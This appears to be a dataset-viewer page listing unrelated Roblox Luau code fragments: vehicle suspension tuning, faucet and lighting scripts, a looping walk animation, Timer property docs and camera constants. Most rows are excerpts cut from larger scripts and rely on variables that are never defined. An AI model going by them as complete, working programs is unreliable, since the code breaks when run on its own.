pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization :: any) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FSusMaxExt = .3 -- Max Extension Travel (in studs)
Tune.FSusMaxComp = .3 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RSusMaxExt = .3 -- Max Extension Travel (in studs)
Tune.RSusMaxComp = .3 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Really black" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
-- Module for converting player to and from a speeder
|
local ReplicatedModuleScripts = ReplicatedStorage:FindFirstChild("ModuleScripts")
local PlayerConverter = require(ReplicatedModuleScripts:FindFirstChild("PlayerConverter"))
|
--//Controller//--
|
RunService.RenderStepped:Connect(function()
end)
|
-- Warm water
|
faucet.WarmWaterSet.Interactive.ClickDetector.MouseClick:Connect(function()
faucet.Handle:SetPrimaryPartCFrame(faucet.HandleBase.CFrame * CFrame.Angles(math.rad(-90),0,0))
p.HotOn.Value = true
p.ColdOn.Value = true
end)
|
--//# Lighting Setup
|
function SetupLighting_()
local ColorCorrection = Instance.new("ColorCorrectionEffect")
local SunRays = Instance.new("SunRaysEffect")
local Blur = Instance.new("BlurEffect")
local Sky = Instance.new("Sky")
local Atmosphere = Instance.new("Atmosphere")
local Clouds = Instance.new("Clouds")
--// Remove all post effects.
for index, item in pairs(Lighting:GetChildren()) do
if item:IsA("PostEffect") then
item:Destroy()
elseif item:IsA("Sky") or item:IsA("Atmosphere") then
item:Destroy()
end
end
--//# Set
Lighting.Brightness = 1
Lighting.EnvironmentDiffuseScale = .2
Lighting.EnvironmentSpecularScale = .82
SunRays.Parent = Lighting
Atmosphere.Parent = Lighting
Sky.Parent = Lighting
Blur.Size = 3.921
Blur.Parent = Lighting
ColorCorrection.Parent = Lighting
ColorCorrection.Saturation = .092
Clouds.Parent = TerrainService
Clouds.Cover = .4;
end
|
--Reset First
|
LeftHip.C1 = CFrame.new(3,0,0)
RightHip.C1 = CFrame.new(-3,0,0)
print("Completed")
while true do
LeftHip.C1 = CFrame.new(3,0,0-5)
RightHip.C1 = CFrame.new(-3,0,0+5)
for i = 1,10 do
LeftHip.C1 = LeftHip.C1 * CFrame.new(0,0.5,0.5)
RightHip.C1 = RightHip.C1 * CFrame.new(0,-0.5,-0.5)
--sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,0.5,0)
--sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1)
wait()
end
for i = 1,10 do
LeftHip.C1 = LeftHip.C1 * CFrame.new(0,-0.5,0.5)
RightHip.C1 = RightHip.C1 * CFrame.new(0,0.5,-0.5)
--sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,-0.5,0)
--sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1)
wait()
end
sp.Parent.Torso["Footstep"..math.random(1,3)]:Play()
for i = 1,10 do
LeftHip.C1 = LeftHip.C1 * CFrame.new(0,-0.5,-0.5)
RightHip.C1 = RightHip.C1 * CFrame.new(0,0.5,0.5)
--sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,0.5,0)
--sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1)
wait()
end
for i = 1,10 do
LeftHip.C1 = LeftHip.C1 * CFrame.new(0,0.5,-0.5)
RightHip.C1 = RightHip.C1 * CFrame.new(0,-0.5,0.5)
--sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,-0.5,0)
--sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1)
wait()
end
sp.Parent.Torso["Footstep"..math.random(1,3)]:Play()
end
|
--[=[
@within Timer
@prop Interval number
Interval at which the `Tick` event fires.
]=]
--[=[
@within Timer
@prop UpdateSignal RBXScriptSignal | Signal
The signal which updates the timer internally.
]=]
--[=[
@within Timer
@prop TimeFunction () -> number
The function which gets the current time.
]=]
--[=[
@within Timer
@prop AllowDrift boolean
Flag which indicates if the timer is allowed to drift. This
is set to `true` by default. This flag must be set before
calling `Start` or `StartNow`. This flag should only be set
to `false` if it is necessary for drift to be eliminated.
]=]
--[=[
@within Timer
@prop Tick RBXScriptSignal | Signal
The event which is fired every time the timer hits its interval.
]=]
| |
--game:GetService('RunService').RenderStepped:Connect(function()
-- Camera.CFrame = Part.CFrame * CFrame.Angles(
-- math.rad( (((Mouse.Y - Mouse.ViewSizeY) /2) / Mouse.ViewSizeY)) * maxtilt,
-- math.rad( (((Mouse.X - Mouse.ViewSizeX) /2) / Mouse.ViewSizeX)) * maxtilt,
-- 0
-- )
--end)
| |
-- Note: DotProduct check in CoordinateFrame::lookAt() prevents using values within about
-- 8.11 degrees of the +/- Y axis, that's why these limits are currently 80 degrees
|
local MIN_Y = math.rad(-80)
local MAX_Y = math.rad(80)
local TOUCH_ADJUST_AREA_UP = math.rad(30)
local TOUCH_ADJUST_AREA_DOWN = math.rad(-15)
local TOUCH_SENSITIVTY_ADJUST_MAX_Y = 2.1
local TOUCH_SENSITIVTY_ADJUST_MIN_Y = 0.5
local VR_ANGLE = math.rad(15)
local VR_LOW_INTENSITY_ROTATION = Vector2.new(math.rad(15), 0)
local VR_HIGH_INTENSITY_ROTATION = Vector2.new(math.rad(45), 0)
local VR_LOW_INTENSITY_REPEAT = 0.1
local VR_HIGH_INTENSITY_REPEAT = 0.4
local ZERO_VECTOR2 = Vector2.new(0,0)
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local touchSensitivityFlagExists, touchSensitivityFlagEnabled = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserTouchSensitivityAdjust")
end)
local FFlagUserTouchSensitivityAdjust = touchSensitivityFlagExists and touchSensitivityFlagEnabled
local TOUCH_SENSITIVTY = Vector2.new(0.0045 * math.pi, 0.003375 * math.pi)
if FFlagUserTouchSensitivityAdjust then
TOUCH_SENSITIVTY = Vector2.new(0.00945 * math.pi, 0.003375 * math.pi)
end
local MOUSE_SENSITIVITY = Vector2.new( 0.002 * math.pi, 0.0015 * math.pi )
local SEAT_OFFSET = Vector3.new(0,5,0)
local VR_SEAT_OFFSET = Vector3.new(0,4,0)
local HEAD_OFFSET = Vector3.new(0,1.5,0)
local R15_HEAD_OFFSET = Vector3.new(0, 1.5, 0)
local R15_HEAD_OFFSET_NO_SCALING = Vector3.new(0, 2, 0)
local HUMANOID_ROOT_PART_SIZE = Vector3.new(2, 2, 1)
local GAMEPAD_ZOOM_STEP_1 = 0
local GAMEPAD_ZOOM_STEP_2 = 10
local GAMEPAD_ZOOM_STEP_3 = 20
local PAN_SENSITIVITY = 20
local ZOOM_SENSITIVITY_CURVATURE = 0.5
local abs = math.abs
local sign = math.sign
local thirdGamepadZoomStepFlagExists, thirdGamepadZoomStepFlagEnabled = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserThirdGamepadZoomStep")
end)
local FFlagUserThirdGamepadZoomStep = thirdGamepadZoomStepFlagExists and thirdGamepadZoomStepFlagEnabled
local FFlagUserPointerActionsInPlayerScripts do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserPointerActionsInPlayerScripts")
end)
FFlagUserPointerActionsInPlayerScripts = success and result
end
local FFlagUserNoMoreKeyboardPan do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserNoMoreKeyboardPan")
end)
FFlagUserNoMoreKeyboardPan = success and result
end
local fixZoomIssuesFlagExists, fixZoomIssuesFlagEnabled = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserFixZoomClampingIssues")
end)
local FFlagUserFixZoomClampingIssues = fixZoomIssuesFlagExists and fixZoomIssuesFlagEnabled
local Util = require(script.Parent:WaitForChild("CameraUtils"))
local ZoomController = require(script.Parent:WaitForChild("ZoomController"))
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.